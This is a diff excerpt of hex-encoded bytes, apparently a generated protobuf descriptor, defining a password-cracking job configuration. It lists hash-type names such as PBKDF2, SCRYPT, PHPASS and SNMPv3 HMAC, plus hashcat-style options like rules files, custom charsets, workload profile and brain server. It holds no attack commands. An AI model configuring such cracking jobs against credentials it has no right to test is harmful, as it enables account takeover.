0x53, 0x49, 0x50, 0x48, 0x41, 0x53, 0x48, 0x10, 0xf4, 0x4e, 0x12, - 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0x46, - 0x12, 0x11, 0x0a, 0x0c, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, - 0x10, 0xaa, 0x01, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x55, 0x54, - 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xbe, 0x0b, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x33, - 0x38, 0x34, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xf6, 0x54, 0x12, 0x13, 0x0a, - 0x0e, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, - 0xea, 0x0d, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, - 0x32, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xe2, 0x04, 0x12, 0x18, 0x0a, 0x13, - 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x53, 0x41, 0x4c, 0x54, - 0x5f, 0x50, 0x57, 0x10, 0xec, 0x04, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, - 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x0a, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x53, - 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0x14, 0x12, 0x15, 0x0a, 0x10, 0x4d, 0x44, 0x35, 0x5f, - 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xd8, 0x1d, 0x12, - 0x14, 0x0a, 0x0f, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x4d, 0x44, 0x35, 0x5f, - 0x50, 0x57, 0x10, 0xfe, 0x1c, 0x12, 0x0a, 0x0a, 0x05, 0x43, 0x52, 0x43, 0x33, 0x32, 0x10, 0xec, - 0x59, 0x12, 0x0c, 0x0a, 0x06, 0x43, 0x52, 0x43, 0x33, 0x32, 0x43, 0x10, 0xfc, 0xd9, 0x01, 0x12, - 0x10, 0x0a, 0x0a, 0x43, 0x52, 0x43, 0x36, 0x34, 0x4a, 0x6f, 0x6e, 0x65, 0x73, 0x10, 0xe0, 0xda, - 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x4a, 0x41, 0x56, 0x41, 0x5f, 0x4f, 0x42, 0x4a, 0x45, 0x43, 0x54, - 0x10, 0x8c, 0x92, 0x01, 0x12, 0x0c, 0x0a, 0x06, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x10, 0xe4, - 0xc8, 0x01, 0x12, 0x0d, 0x0a, 0x07, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x33, 0x10, 0x98, 0xd9, - 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x54, 0x48, 0x52, 0x45, 0x45, 0x5f, 0x44, 0x45, 0x53, 0x10, 0x94, - 0x6e, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x45, 0x53, 0x10, 0xb0, 0x6d, 0x12, 0x11, 0x0a, 0x0b, 0x41, - 0x45, 0x53, 0x5f, 0x31, 0x32, 0x38, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa1, 0xce, 0x01, 0x12, 0x11, - 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x39, 0x32, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa2, 0xce, - 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x32, 0x35, 0x36, 0x5f, 0x45, 0x43, 0x42, - 0x10, 0xa3, 0xce, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x43, 0x48, 0x41, 0x5f, 0x43, 0x48, 0x41, 0x5f, - 0x32, 0x30, 0x10, 0xa8, 0x78, 0x12, 0x1f, 0x0a, 0x1a, 0x4c, 0x49, 0x4e, 0x55, 0x58, 0x5f, 0x4b, - 0x45, 0x52, 0x4e, 0x45, 0x4c, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x4f, 0x5f, 0x41, 0x50, 0x49, - 0x5f, 0x32, 0x34, 0x10, 0xa4, 0x71, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x4b, 0x49, 0x50, 0x5f, 0x33, - 0x32, 0x10, 0xb4, 0x74, 0x12, 0x14, 0x0a, 0x0f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, - 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xfc, 0x5c, 0x12, 0x15, 0x0a, 0x10, 0x50, 0x42, - 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xe0, - 0x5d, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, - 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x94, 0x55, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, - 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, - 0x10, 0xc4, 0x5e, 0x12, 0x0b, 0x0a, 0x06, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xc4, 0x45, - 0x12, 0x0b, 0x0a, 0x06, 0x50, 0x48, 0x50, 0x41, 0x53, 0x53, 0x10, 0x90, 0x03, 0x12, 0x10, 0x0a, - 0x0b, 0x54, 0x41, 0x43, 0x41, 0x43, 0x53, 0x5f, 0x50, 0x4c, 0x55, 0x53, 0x10, 0xe4, 0x7d, 0x12, - 0x0f, 0x0a, 0x0a, 0x53, 0x49, 0x50, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x88, 0x59, - 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4b, 0x45, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb4, 0x29, 0x12, 0x0d, - 0x0a, 0x08, 0x49, 0x4b, 0x45, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x98, 0x2a, 0x12, 0x19, 0x0a, - 0x13, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, - 0x35, 0x5f, 0x39, 0x36, 0x10, 0x8c, 0xc4, 0x01, 0x12, 0x22, 0x0a, 0x1c, 0x53, 0x4e, 0x4d, 0x50, - 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x5f, - 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xa8, 0xc3, 0x01, 0x12, 0x1a, 0x0a, 0x14, + 0x69, 0x72, 0x12, 0x34, 0x0a, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, + 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x32, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x15, 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, + 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4b, 0x65, 0x79, 0x62, + 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, + 0x67, 0x18, 0x33, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, + 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x12, 0x1c, + 0x0a, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x18, 0x38, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x09, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x22, 0x0a, 0x0c, + 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x18, 0x39, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, + 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3a, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x22, + 0x0a, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3b, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, + 0x6c, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, + 0x65, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, + 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, + 0x6e, 0x18, 0x3d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, + 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x18, + 0x3e, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, + 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x18, + 0x3f, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, + 0x74, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, + 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, + 0x65, 0x61, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, + 0x18, 0x41, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, + 0x12, 0x2c, 0x0a, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, + 0x65, 0x43, 0x55, 0x44, 0x41, 0x18, 0x43, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x42, 0x61, 0x63, + 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x12, 0x2a, + 0x0a, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, + 0x69, 0x70, 0x18, 0x44, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, + 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, + 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, + 0x18, 0x45, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, + 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x61, + 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, + 0x4c, 0x18, 0x46, 0x20, 0x01, 0x28, 0x08, 0x52, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, + 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x12, 0x20, 0x0a, 0x0b, + 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x47, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x26, + 0x0a, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, + 0x18, 0x48, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, + 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, + 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x18, 0x49, 0x20, 0x03, 0x28, + 0x0d, 0x52, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, + 0x79, 0x70, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, + 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x4a, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, + 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x34, 0x0a, 0x15, 0x4d, 0x75, + 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, + 0x6c, 0x65, 0x64, 0x18, 0x4b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, + 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, + 0x12, 0x48, 0x0a, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, + 0x69, 0x6c, 0x65, 0x18, 0x4c, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, + 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, + 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, + 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x18, 0x4d, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x12, 0x20, 0x0a, 0x0b, + 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x18, 0x4e, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x12, 0x24, + 0x0a, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, + 0x4f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, + 0x65, 0x61, 0x64, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, + 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x18, 0x50, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, + 0x69, 0x64, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, + 0x18, 0x51, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, + 0x12, 0x22, 0x0a, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, + 0x18, 0x52, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, + 0x61, 0x62, 0x6c, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, + 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x53, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x48, 0x77, + 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, + 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x18, 0x54, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x12, 0x12, 0x0a, 0x04, + 0x53, 0x6b, 0x69, 0x70, 0x18, 0x55, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x53, 0x6b, 0x69, 0x70, + 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x56, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, + 0x63, 0x65, 0x18, 0x57, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, + 0x63, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, + 0x5a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, + 0x12, 0x24, 0x0a, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, + 0x73, 0x18, 0x5b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, + 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, + 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x18, 0x5c, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, + 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, + 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x18, + 0x5d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, + 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x12, 0x32, 0x0a, 0x14, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, + 0x65, 0x6c, 0x18, 0x5e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, + 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x12, 0x2c, + 0x0a, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, + 0x65, 0x65, 0x64, 0x18, 0x5f, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, + 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, + 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x18, 0x60, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, + 0x73, 0x65, 0x74, 0x31, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, + 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x18, 0x61, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, + 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x12, 0x26, 0x0a, 0x0e, + 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x18, 0x62, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, + 0x73, 0x65, 0x74, 0x33, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, + 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x18, 0x63, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, + 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x12, 0x1a, 0x0a, 0x08, + 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x18, 0x64, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, 0x63, 0x72, + 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x6e, 0x63, + 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, + 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x18, 0x66, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, + 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, + 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x18, 0x67, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x12, 0x26, + 0x0a, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, + 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, + 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, + 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, + 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x72, 0x61, 0x69, + 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x6a, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, + 0x69, 0x6d, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x18, 0x6b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, + 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x18, 0x6c, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, + 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x6d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x42, 0x72, 0x61, + 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 